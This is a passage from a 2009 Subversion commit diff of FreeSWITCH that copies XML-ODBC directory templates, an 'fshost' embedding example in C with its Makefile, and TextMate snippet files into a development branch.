+++ freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/dialplan.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+<include> <!-- NOT FINISHED ! -->
+  <template name="dialplan">
+    <xml-odbc-do name="break-to" value="not-found"/>
+  </template>
+</include>

Deleted: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory-user.xml

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory-user.xml (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory-user.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory-user.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory-user.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,91 @@
+<include>
+  <template name="directory-user">
+    <document type="freeswitch/xml">
+      <xml-odbc-do name="set-event-header" if-name="key" if-value="id" to-value="username"/>
+      <xml-odbc-do name="query" on-empty-result-break-to="not-found" value="
+        SELECT
+          dir_domains.id AS domain_id,
+          dir_users.id AS user_id,
+          dir_users.cidr,
+          dir_users.mailbox,
+          dir_users.`number-alias`
+        FROM
+          dir_domains,
+          dir_users
+        WHERE
+          dir_users.${key} = '${user}' AND
+          dir_domains.name = '${domain}' AND
+          dir_users.dir_domain_id = dir_domains.id AND
+          dir_users.enabled = '1';"/>
+      <section name="directory">
+        <domain name="${domain}">
+          <params>
+            <xml-odbc-do name="query" value="
+              SELECT
+                name, value
+              FROM
+                dir_domain_params
+              WHERE
+                dir_domain_id = '${domain_id}';">
+              <param name="${name}" value="${value}"/>
+            </xml-odbc-do>
+          </params>
+          <variables>
+            <xml-odbc-do name="query" value="
+              SELECT
+                name, value
+              FROM
+                dir_domain_variables
+              WHERE
+                dir_domain_id = '${domain_id}';">
+              <variable name="${name}" value="${value}"/>
+            </xml-odbc-do>
+          </variables>
+          <groups>
+            <group name="default">
+              <users>
+                <user id="${user}" mailbox="${mailbox}" cidr="${cidr}" number-alias="${number-alias}">
+                  <params>
+                    <xml-odbc-do name="query" on-empty-result-break-to="not-found" value="
+                      SELECT
+                        name, value
+                      FROM
+                        dir_user_params
+                      WHERE
+                        dir_user_id = '${user_id}';">
+                      <param name="${name}" value="${value}"/>
+                    </xml-odbc-do>
+                  </params>
+                  <variables>
+                    <xml-odbc-do name="query" value="
+                      SELECT
+                        name, value
+                      FROM
+                        dir_user_variables
+                      WHERE
+                        dir_user_id = '${user_id}';">
+                      <variable name="${name}" value="${value}"/>
+                    </xml-odbc-do>
+                  </variables>
+                </user>
+              </users>
+            </group>
+            <xml-odbc-do name="query" value="
+              SELECT
+                name AS group_name
+              FROM
+                dir_groups,
+                dir_groups_users
+              WHERE
+                dir_groups_users.dir_group_id = dir_groups.id AND
+                dir_user_id = '${user_id}';">
+              <group name="${group_name}">
+                <user id="${user}" type="pointer"/>
+              </group>
+            </xml-odbc-do>
+          </groups>
+        </domain>
+      </section>
+    </document>
+  </template>
+</include>

Deleted: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory_swk.xml

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory_swk.xml (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory_swk.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory_swk.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/directory_swk.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,93 @@
+<include>
+  <template name="directory_swk" description="based on swk's shipment sql">
+    <document type="freeswitch/xml">
+      <xml-odbc-do name="replace_header_value" when-name="key" when-value="id" value="username"/>
+      <xml-odbc-do name="query" on-empty-result-break-to="not_found" value="
+        SELECT
+          domains.uid AS domains_uid,
+          users.uid AS users_uid,
+          users.cidr,
+          users.mailbox
+        FROM
+          domains,
+          users
+        WHERE
+          users.${key} = '${user}' AND
+          domains.name = '${domain}' AND
+          users.domains_uid = domains.uid AND
+          domains.enabled = '1' AND
+          users.enabled = '1';"/>
+      <section name="directory">
+        <domain name="${domain}">
+          <params>
+            <xml-odbc-do name="query" value="
+              SELECT
+                name, value
+              FROM
+                domain_params
+              WHERE
+                domains_uid = '${domains_uid}';">
+              <param name="${name}" value="${value}"/>
+            </xml-odbc-do>
+          </params>
+          <variables>
+            <xml-odbc-do name="query" value="
+              SELECT
+                name, value
+              FROM
+                domain_variables
+              WHERE
+                domains_uid = '${domains_uid}';">
+              <variable name="${name}" value="${value}"/>
+            </xml-odbc-do>
+          </variables>
+          <groups>
+            <group name="default">
+              <users>
+                <user id="${user}" mailbox="${mailbox}" cidr="${cidr}">
+                  <params>
+                    <xml-odbc-do name="query" on-empty-result-break-to="not_found" value="
+                      SELECT
+                        name, value
+                      FROM
+                        user_params
+                      WHERE
+                        users_uid = '${users_uid}';">
+                      <param name="${name}" value="${value}"/>
+                    </xml-odbc-do>
+                  </params>
+                  <variables>
+                    <xml-odbc-do name="query" value="
+                      SELECT
+                        name, value
+                      FROM
+                        user_variables
+                      WHERE
+                        users_uid = '${users_uid}';">
+                      <variable name="${name}" value="${value}"/>
+                    </xml-odbc-do>
+                  </variables>
+                </user>
+              </users>
+            </group>
+            <xml-odbc-do name="query" value="
+              SELECT
+                name AS group_name
+              FROM
+                groups,
+                group_members
+              WHERE
+                group_members.groups_uid = groups.uid AND
+                users_uid = '${users_uid}';">
+              <group name="${group_name}">
+                <users>
+                  <user id="${user}" type="pointer"/>
+                </users>
+              </group>
+            </xml-odbc-do>
+          </groups>
+        </domain>
+      </section>
+    </document>
+  </template>
+</include>

Copied: freeswitch/branches/seven/contrib/mrene (from rev 14471, freeswitch/trunk/contrib/mrene)

Copied: freeswitch/branches/seven/contrib/mrene/fshost (from rev 14471, freeswitch/trunk/contrib/mrene/fshost)

Deleted: freeswitch/branches/seven/contrib/mrene/fshost/Makefile

Copied: freeswitch/branches/seven/contrib/mrene/fshost/Makefile (from rev 14471, freeswitch/trunk/contrib/mrene/fshost/Makefile) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/fshost/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/fshost/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+CC=gcc
+FS_PATH=../../../
+FS_INCLUDES=-I$(FS_PATH)/src/include -I$(FS_PATH)/libs/apr/include -I$(FS_PATH)/libs/libteletone/src
+FS_LDFLAGS = -L$(FS_PATH)/.libs -lfreeswitch
+CFLAGS=-ggdb3 $(FS_INCLUDES) -Wall -Werror
+LIBS=$(FS_LDFLAGS)
+
+all: fshost
+
+clean:
+	rm -rf fshost fshost.dSYM
+
+fshost:  main.c
+	$(CC) -o fshost main.c $(CFLAGS) $(LIBS)

Deleted: freeswitch/branches/seven/contrib/mrene/fshost/main.c

Copied: freeswitch/branches/seven/contrib/mrene/fshost/main.c (from rev 14471, freeswitch/trunk/contrib/mrene/fshost/main.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/fshost/main.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/fshost/main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,98 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Mathieu Rene <mathieu.rene@gmail.com>
+ *
+ *
+ * fshost - Example on how to host freeswitch within your own programs
+ *
+ */
+
+#include <stdio.h>
+#include <switch.h>
+
+int main(int argc, char *argv[])
+{
+	switch_core_flag_t flags = SCF_USE_SQL;
+	const char *err = NULL;
+	switch_bool_t console = SWITCH_TRUE;
+	switch_status_t destroy_status;
+	int ret = 0;
+	
+	/* Initialize libs & globals */
+	printf("Initializing globals...\n");
+	switch_core_setrlimits();
+	switch_core_set_globals();
+	
+	/* If you need to override configuration directories, you need to change them in the SWITCH_GLOBAL_dirs global structure */
+	printf("Initializing core...\n");
+	/* Initialize the core and load modules, that will startup FS completely */
+	if (switch_core_init_and_modload(flags, console, &err) != SWITCH_STATUS_SUCCESS) {
+		fprintf(stderr, "Failed to initialize FreeSWITCH's core: %s\n", err);
+		return 1;
+	}
+	
+	printf("Everything OK, Entering runtime loop.\n");
+	
+	fflush(stdout);
+	
+	/* Go into the runtime loop. If the argument is true, this basically sets runtime.running = 1 and loops while that is set
+	 * If its false, it initializes the libedit for the console, then does the same thing
+	 */
+	switch_core_runtime_loop(!console);
+	
+	/* When the runtime loop exits, its time to shutdown */
+	destroy_status = switch_core_destroy();
+
+	/* If we get SWITCH_STATUS_RESTART, it means the core received an fsctl shutdown restart command */
+	if (destroy_status == SWITCH_STATUS_RESTART) {
+		char buf[1024] = "";
+		int i = 0;
+		
+		switch_assert(argv[0]);
+		switch_sleep(1000000);
+		ret = (int)execv(argv[0], argv);
+		fprintf(stderr, "Restart Failed [%s] resorting to plan b\n", strerror(errno));
+
+		for(i = 0; i < argc; i++) {
+			switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s ", argv[i]);
+		}
+
+		ret = system(buf);
+	}
+	
+	return ret;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/mrene/textmate (from rev 14471, freeswitch/trunk/contrib/mrene/textmate)

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle)

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets)

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_API.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_API.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_API.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_API.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_API.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>SWITCH_ADD_API(api_interface, "${1:app name}", "${2:description}",${3:function ptr}, "${4:syntax}");
+</string>
+	<key>name</key>
+	<string>SWITCH_ADD_API</string>
+	<key>tabTrigger</key>
+	<string>addapi</string>
+	<key>uuid</key>
+	<string>63A39832-470E-4839-8098-4CC537FAA46D</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_APP.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_APP.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_APP.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_APP.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_ADD_APP.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>SWITCH_ADD_APP(app_interface, "${1:name}", "${2:short description}", "${3:long description}", ${4:function}, "${5:syntax}", ${6:SAF_NONE});
+</string>
+	<key>name</key>
+	<string>SWITCH_ADD_APP</string>
+	<key>tabTrigger</key>
+	<string>addapp</string>
+	<key>uuid</key>
+	<string>1D16269D-A544-4909-867E-70028ED7961B</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_CONFIG_ITEM.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_CONFIG_ITEM.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_CONFIG_ITEM.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_CONFIG_ITEM.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_CONFIG_ITEM.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>SWITCH_CONFIG_ITEM("${1:key}", SWITCH_CONFIG_${2:}, 0, &amp;${3:globals.item}, (void*)$4, ${5:NULL}, "${6:syntax}", "${7:documentation}")</string>
+	<key>name</key>
+	<string>SWITCH_CONFIG_ITEM</string>
+	<key>tabTrigger</key>
+	<string>configitem</string>
+	<key>uuid</key>
+	<string>154CD9B8-6383-41C1-9F6E-A574AC6867D2</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_FALSE.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_FALSE.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_FALSE.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_FALSE.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_FALSE.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>SWITCH_STATUS_FALSE</string>
+	<key>name</key>
+	<string>SWITCH_STATUS_FALSE</string>
+	<key>tabTrigger</key>
+	<string>ssf</string>
+	<key>uuid</key>
+	<string>19295878-37A1-4234-8035-38DA07E17CAA</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_SUCCESS.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_SUCCESS.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_SUCCESS.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_SUCCESS.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/SWITCH_STATUS_SUCCESS.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>SWITCH_STATUS_SUCCESS</string>
+	<key>name</key>
+	<string>SWITCH_STATUS_SUCCESS</string>
+	<key>tabTrigger</key>
+	<string>sss</string>
+	<key>uuid</key>
+	<string>3F544B00-2D0B-4C60-804E-EF63C609E7D8</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/stream-write_function.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/stream-write_function.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/stream-write_function.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/stream-write_function.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/stream-write_function.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>${1:stream}-&gt;write_function($1, "$2",$3);
+$0</string>
+	<key>name</key>
+	<string>stream-&gt;write_function</string>
+	<key>tabTrigger</key>
+	<string>streamw</string>
+	<key>uuid</key>
+	<string>EC0B951A-D6C9-4137-AB5E-0DBA1D666B5A</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_get_channel.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_get_channel.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_get_channel.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_get_channel.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_get_channel.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>if (${2:session} &amp;&amp; (${1:channel} = switch_core_session_get_channel(${2:session}))) {
+	$0
+}</string>
+	<key>name</key>
+	<string>switch_core_session_get_channel</string>
+	<key>tabTrigger</key>
+	<string>getchan</string>
+	<key>uuid</key>
+	<string>8107A427-59E7-4FB0-AA1B-28F4A15A2B63</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_locate.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_locate.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_locate.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_locate.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_core_session_locate.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>if ((${1:session} = switch_core_session_locate($2)) {
+	$0
+	switch_core_session_rwunlock($1);
+}</string>
+	<key>name</key>
+	<string>switch_core_session_locate</string>
+	<key>tabTrigger</key>
+	<string>slocate</string>
+	<key>uuid</key>
+	<string>8940F795-2A0A-411F-AB98-48DEAB07AD69</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_log_printf.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_log_printf.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_log_printf.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_log_printf.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_log_printf.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_${1:DEBUG}, "$2"$3);
+</string>
+	<key>name</key>
+	<string>switch_log_printf</string>
+	<key>tabTrigger</key>
+	<string>log</string>
+	<key>uuid</key>
+	<string>CCE4CE1C-2E71-4EDB-9733-1CDE38FA831E</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_lock.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_lock.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_lock.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_lock.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_lock.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>switch_mutex_lock($1);</string>
+	<key>name</key>
+	<string>switch_mutex_lock</string>
+	<key>tabTrigger</key>
+	<string>mlock</string>
+	<key>uuid</key>
+	<string>BC5BFA60-002A-40F2-A6FE-72CEE4AAE330</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_unlock.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_unlock.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_unlock.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_unlock.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_mutex_unlock.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>switch_mutex_unlock($1);</string>
+	<key>name</key>
+	<string>switch_mutex_unlock</string>
+	<key>tabTrigger</key>
+	<string>munlock</string>
+	<key>uuid</key>
+	<string>C41EC675-F09C-4596-8C14-662403B27D54</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_rdlock.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_rdlock.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_rdlock.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_rdlock.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_rdlock.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>switch_thread_rwlock_rdlock($1);</string>
+	<key>name</key>
+	<string>switch_thread_rwlock_rdlock</string>
+	<key>tabTrigger</key>
+	<string>rdlock</string>
+	<key>uuid</key>
+	<string>FB9588B8-3540-41F6-BC2D-7A6F3083BDA4</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_tryrdlock.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_tryrdlock.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_tryrdlock.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_tryrdlock.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_tryrdlock.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>if (switch_thread_rwlock_tryrdlock($1) != SWITCH_STATUS_SUCCESS) {
+	$2
+}
+$0</string>
+	<key>name</key>
+	<string>switch_thread_rwlock_tryrdlock</string>
+	<key>tabTrigger</key>
+	<string>tryrdlock</string>
+	<key>uuid</key>
+	<string>091C4224-A49A-4C68-AEA1-A25FEEAB0DE8</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_unlock.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_unlock.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_unlock.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_unlock.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_unlock.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
